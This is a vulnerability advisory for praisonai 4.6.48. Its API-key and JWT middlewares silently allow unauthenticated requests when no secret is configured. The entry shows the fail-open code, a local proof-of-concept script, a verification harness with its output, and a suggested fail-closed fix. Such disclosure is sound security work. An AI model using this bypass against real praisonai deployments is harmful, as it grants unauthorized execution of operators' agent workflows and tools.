Vulnerability Database

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Total vulnerabilities in the database

CVE-2026-57127 — praisonai

Insecure Default Initialization of Resource

praisonai: recipe serve authentication middleware silently disables itself when no secret is set

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI

Package: praisonai on PyPI Version tested: 4.6.48. File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).

TL;DR

praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:

async def dispatch(self, request, call_next): if request.url.path == "/health": return await call_next(request) expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: # No key configured, allow request return await call_next(request) ... async def dispatch(self, request, call_next): if request.url.path == "/health": return await call_next(request) secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: return await call_next(request) ...

The realistic mis-deploy:

  1. operator sets auth: api-key (or auth: jwt) in their recipe YAML, expecting that line alone to enable auth,
  2. operator does not set the corresponding api_key: / jwt_secret: value in the same YAML, AND
  3. operator does not export PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET in the environment.

The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.

Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.

Root cause

Expected behavior, after setting `auth: api-key` in the recipe YAML: "Now my recipe endpoints require an X-API-Key header." Actual behavior (serve.py:325-333): - middleware reads `expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")` - if `expected_key` is None (neither YAML nor env supplied one), middleware logs nothing and forwards the request. - operator's recipe routes accept the request as if it were authenticated. request.state.user is unset. Impact: The middleware's documented job is "validate the API key against the configured value". The configured-value-is-None case is exactly the case the middleware should fail closed on — operator has signalled they want auth. Failing open silently turns a documented authentication into a runtime no-op.

Empirical verification

poc/poc.py:

  1. Imports the installed praisonai 4.6.48 praisonai.recipe.serve module (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
  2. Clears PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env vars to simulate the mis-deploy.
  3. Calls serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None) and instantiates the returned middleware.
  4. Builds a Starlette Request for /runs (the recipe-execution path) with empty headers — no X-API-Key, no Authorization.
  5. await middleware.dispatch(request, fake_call_next) returns the sentinel 'REACHED-DOWNSTREAM (path=/runs)' from the fake call_next — proving the middleware passed the request through without authenticating.
  6. Repeats the test for auth_type='jwt' — same bypass on the JWT path.

Run log (poc/run-log.txt) summary:

[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)' [3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)' APIKeyAuthMiddleware allowed the request through without an API key. JWTAuthMiddleware allowed the request through without a Bearer token. [4] grep '# No key configured, allow request' -> line 333 VERDICT: VULNERABLE EXIT 0

Impact

The recipe-serve surface runs agentic workflows — same execution posture as praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:

  • Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
  • Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.
  • In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.

Anchors

  • praisonai/recipe/serve.py:325-333 — APIKeyAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:352-355 — JWTAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:688-694 — call site: auth_type = config.get("auth") if auth_type and auth_type != "none": auth_middleware = create_auth_middleware( auth_type, api_key=config.get("api_key"), jwt_secret=config.get("jwt_secret"), )

Suggested fix

When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:

def create_auth_middleware(auth_type, api_key=None, jwt_secret=None): if auth_type == 'api-key': expected_key = api_key or os.environ.get("PRAISONAI_API_KEY") if not expected_key: raise SystemExit( "auth_type='api-key' requested but no API key is " "configured. Either set `api_key:` in your recipe " "YAML or export PRAISONAI_API_KEY. Refusing to " "start with a silently disabled auth middleware." ) ... elif auth_type == 'jwt': secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET") if not secret: raise SystemExit( "auth_type='jwt' requested but no JWT secret is " "configured. Either set `jwt_secret:` in your recipe " "YAML or export PRAISONAI_JWT_SECRET. Refusing to " "start with a silently disabled auth middleware." ) ...

This is the same pattern the sibling praisonai.gateway server applies in assert_external_bind_safe at praisonai/gateway/auth.py:48-54 — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.

Steps to reproduce

  1. Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  2. Run the proof of concept (poc.py) against the cloned source.
  3. Observe the result shown under Verified result below.

Proof of concept

poc.py

""" PoC: praisonai 4.6.48 `praisonai recipe serve` configures authentication via a `auth:` field in the recipe YAML. Setting `auth: api-key` or `auth: jwt` installs APIKeyAuthMiddleware or JWTAuthMiddleware on the FastAPI app — and the operator's expectation is that those endpoints now require a valid API key / Bearer JWT. In reality, both middlewares contain an early-return that silently bypasses authentication when the corresponding secret has not been configured (neither via the recipe YAML nor via the PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var). """ import hashlib import inspect import os import sys def main() -> int: print('=' * 72) print('praisonai 4.6.48 — recipe serve auth middleware silent bypass') print('=' * 72) # Realistic deploy: operator sets `auth: api-key` in YAML but # forgets to set api_key / env var. for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'): if env_var in os.environ: del os.environ[env_var] from praisonai.recipe import serve as serve_mod src = inspect.getsourcefile(serve_mod) with open(src, 'rb') as f: raw = f.read() sha = hashlib.sha256(raw).hexdigest() print() print(f'[1] serve.py path : {src}') print(f' sha256 : {sha}') from starlette.requests import Request create_auth_middleware = serve_mod.create_auth_middleware async def fake_call_next(request): return f"REACHED-DOWNSTREAM (path={request.url.path})" async def driver(auth_type: str, headers=None): scope = { 'type': 'http', 'method': 'GET', 'path': '/runs', 'headers': headers or [], 'query_string': b'', 'scheme': 'http', 'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '', } request = Request(scope, receive=lambda: None) mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None) if mw_cls is None: return 'middleware-import-failed' instance = mw_cls(app=None) return await instance.dispatch(request, fake_call_next) import asyncio print() print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env") result_apikey = asyncio.run(driver('api-key')) print(f" middleware.dispatch -> {result_apikey!r}") print() print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env") result_jwt = asyncio.run(driver('jwt')) print(f" middleware.dispatch -> {result_jwt!r}") vulnerable = False if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey: vulnerable = True print(' APIKeyAuthMiddleware allowed the request through without an API key.') if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt: vulnerable = True print(' JWTAuthMiddleware allowed the request through without a Bearer token.') # Static check that the bypass is on the code path. text = raw.decode('utf-8', errors='replace') needle_api = '# No key configured, allow request' apikey_line = next( (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l), None, ) print() print('[4] static cross-check — bypass branch on the code path') print(f" grep '{needle_api}' -> line {apikey_line}") if not vulnerable: print('UNEXPECTED — the dispatch did not return the bypass result.') return 1 print() print('VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes') print(' both silently bypass auth when the operator sets auth_type') print(' but forgets the corresponding secret — unauthenticated access') print(' to recipe execution endpoints.') print('VERDICT: VULNERABLE') return 0 if __name__ == '__main__': sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os, importlib.util BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK) for p in ["praisonai","praisonai.recipe"]: m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py") serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve) print("[*] Loaded REAL praisonai recipe/serve.py") os.environ.pop("PRAISONAI_API_KEY", None) # operator forgot to export it too from starlette.applications import Starlette from starlette.routing import Route from starlette.responses import PlainTextResponse from starlette.testclient import TestClient def make_app(mw): app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])]) app.add_middleware(mw); return TestClient(app) # (A) operator set `auth: api-key` but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses MW_bypass = serve.create_auth_middleware("api-key", api_key=None) # REAL factory r = make_app(MW_bypass).post("/run") print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}") # (B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401 MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret") r2 = make_app(MW_enforced).post("/run") print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status_code} (correctly rejected)") assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401 print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] Loaded REAL praisonai recipe/serve.py [+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED' [*] auth='api-key', key CONFIGURED, NO header -> HTTP 401 (correctly rejected) [+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

CVSS v3:

  • Severity: Critical
  • Score: 9.8
  • AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWEs:

Software From Fixed in
Python icon praisonai - 4.6.59

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